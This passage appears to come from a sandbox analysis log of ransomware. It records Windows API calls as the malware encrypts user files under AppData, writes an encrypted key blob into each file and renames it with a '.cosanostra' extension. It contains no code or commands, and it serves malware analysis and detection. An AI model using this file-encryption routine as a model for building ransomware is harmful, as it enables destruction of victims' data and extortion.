(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini.cosanostra")) returned 1 [0087.990] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff858 | out: pbBuffer=0x26ff858) returned 1 [0087.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff850*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff850*=0x30) returned 1 [0087.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0087.992] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat") returned 94 [0087.993] StrStrW (lpFirst="frameiconcache.dat", lpSrch=".txt") returned 0x0 [0088.022] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffdc0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.022] WriteFile (in: hFile=0x180, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x23f4, lpNumberOfBytesWritten=0x26ff814, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff814*=0x23f4, lpOverlapped=0x0) returned 1 [0088.022] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.022] WriteFile (in: hFile=0x180, lpBuffer=0x26ff854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff814, lpOverlapped=0x0 | out: lpBuffer=0x26ff854*, lpNumberOfBytesWritten=0x26ff814*=0x4, lpOverlapped=0x0) returned 1 [0088.022] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff814, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff814*=0x30, lpOverlapped=0x0) returned 1 [0088.022] CloseHandle (hObject=0x180) returned 1 [0088.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat.cosanostra")) returned 1 [0088.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff858 | out: pbBuffer=0x26ff858) returned 1 [0088.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff850*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff850*=0x30) returned 1 [0088.025] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff850 | out: pbBuffer=0x26ff850) returned 1 [0088.045] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff848*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff848*=0x30) returned 1 [0088.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0088.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 86 [0088.046] StrStrW (lpFirst="LocalMLS_3.wmdb", lpSrch=".txt") returned 0x0 [0088.112] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.113] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff80c*=0x2800, lpOverlapped=0x0) returned 1 [0088.113] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.113] WriteFile (in: hFile=0x178, lpBuffer=0x26ff84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x26ff84c*, lpNumberOfBytesWritten=0x26ff80c*=0x4, lpOverlapped=0x0) returned 1 [0088.113] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff80c*=0x30, lpOverlapped=0x0) returned 1 [0088.113] CloseHandle (hObject=0x178) returned 1 [0088.113] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.cosanostra")) returned 1 [0088.113] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff850 | out: pbBuffer=0x26ff850) returned 1 [0088.113] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff848*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff848*=0x30) returned 1 [0088.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.117] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 135 [0088.117] StrStrW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0088.120] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffffc04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.120] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff80c*=0x3fc, lpOverlapped=0x0) returned 1 [0088.120] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.120] WriteFile (in: hFile=0x174, lpBuffer=0x26ff84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x26ff84c*, lpNumberOfBytesWritten=0x26ff80c*=0x4, lpOverlapped=0x0) returned 1 [0088.120] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff80c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff80c*=0x30, lpOverlapped=0x0) returned 1 [0088.120] CloseHandle (hObject=0x174) returned 1 [0088.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0088.121] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff848 | out: pbBuffer=0x26ff848) returned 1 [0088.121] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff840*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff840*=0x30) returned 1 [0088.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.121] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 135 [0088.122] StrStrW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0088.139] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffffcef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.139] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x26ff804, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff804*=0x311, lpOverlapped=0x0) returned 1 [0088.139] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.139] WriteFile (in: hFile=0x174, lpBuffer=0x26ff844*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff804, lpOverlapped=0x0 | out: lpBuffer=0x26ff844*, lpNumberOfBytesWritten=0x26ff804*=0x4, lpOverlapped=0x0) returned 1 [0088.139] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff804, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff804*=0x30, lpOverlapped=0x0) returned 1 [0088.139] CloseHandle (hObject=0x174) returned 1 [0088.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.cosanostra")) returned 1 [0088.150] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff840 | out: pbBuffer=0x26ff840) returned 1 [0088.150] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff838*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff838*=0x30) returned 1 [0088.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0088.150] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi") returned 89 [0088.151] StrStrW (lpFirst="Outlook.sharing.xml.obi", lpSrch=".txt") returned 0x0 [0088.151] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.151] WriteFile (in: hFile=0x178, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff7fc*=0xb9, lpOverlapped=0x0) returned 1 [0088.151] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.151] WriteFile (in: hFile=0x178, lpBuffer=0x26ff83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff83c*, lpNumberOfBytesWritten=0x26ff7fc*=0x4, lpOverlapped=0x0) returned 1 [0088.152] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7fc*=0x30, lpOverlapped=0x0) returned 1 [0088.152] CloseHandle (hObject=0x178) returned 1 [0088.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi.cosanostra")) returned 1 [0088.152] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff840 | out: pbBuffer=0x26ff840) returned 1 [0088.152] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff838*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff838*=0x30) returned 1 [0088.152] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0088.153] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf") returned 77 [0088.153] StrStrW (lpFirst="mapisvc.inf", lpSrch=".txt") returned 0x0 [0088.154] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffb9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.154] WriteFile (in: hFile=0x178, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x462, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff7fc*=0x462, lpOverlapped=0x0) returned 1 [0088.154] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.154] WriteFile (in: hFile=0x178, lpBuffer=0x26ff83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff83c*, lpNumberOfBytesWritten=0x26ff7fc*=0x4, lpOverlapped=0x0) returned 1 [0088.154] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7fc*=0x30, lpOverlapped=0x0) returned 1 [0088.155] CloseHandle (hObject=0x178) returned 1 [0088.155] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf.cosanostra")) returned 1 [0088.164] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff830 | out: pbBuffer=0x26ff830) returned 1 [0088.164] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff828*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff828*=0x30) returned 1 [0088.164] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0088.200] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml") returned 112 [0088.200] StrStrW (lpFirst="350db95df4cbd94b2a1c300510e12e11.xml", lpSrch=".txt") returned 0x0 [0088.219] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffff811, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.219] WriteFile (in: hFile=0x17c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x7ef, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff7ec*=0x7ef, lpOverlapped=0x0) returned 1 [0088.219] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.219] WriteFile (in: hFile=0x17c, lpBuffer=0x26ff82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff82c*, lpNumberOfBytesWritten=0x26ff7ec*=0x4, lpOverlapped=0x0) returned 1 [0088.219] WriteFile (in: hFile=0x17c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7ec*=0x30, lpOverlapped=0x0) returned 1 [0088.219] CloseHandle (hObject=0x17c) returned 1 [0088.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.cosanostra")) returned 1 [0088.220] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff830 | out: pbBuffer=0x26ff830) returned 1 [0088.220] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff828*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff828*=0x30) returned 1 [0088.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0088.220] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat") returned 77 [0088.220] StrStrW (lpFirst="content14.dat", lpSrch=".txt") returned 0x0 [0088.228] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.228] WriteFile (in: hFile=0x17c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff7ec*=0x2800, lpOverlapped=0x0) returned 1 [0088.229] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.229] WriteFile (in: hFile=0x17c, lpBuffer=0x26ff82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff82c*, lpNumberOfBytesWritten=0x26ff7ec*=0x4, lpOverlapped=0x0) returned 1 [0088.340] WriteFile (in: hFile=0x17c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7ec*=0x30, lpOverlapped=0x0) returned 1 [0088.340] CloseHandle (hObject=0x17c) returned 1 [0088.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat.cosanostra")) returned 1 [0088.345] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff820 | out: pbBuffer=0x26ff820) returned 1 [0088.345] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff818*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff818*=0x30) returned 1 [0088.345] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0088.346] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned 86 [0088.346] StrStrW (lpFirst="Settings.ini", lpSrch=".txt") returned 0x0 [0088.347] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xffffffac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.348] WriteFile (in: hFile=0x17c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff7dc*=0x54, lpOverlapped=0x0) returned 1 [0088.348] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.348] WriteFile (in: hFile=0x17c, lpBuffer=0x26ff81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff81c*, lpNumberOfBytesWritten=0x26ff7dc*=0x4, lpOverlapped=0x0) returned 1 [0088.348] WriteFile (in: hFile=0x17c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, 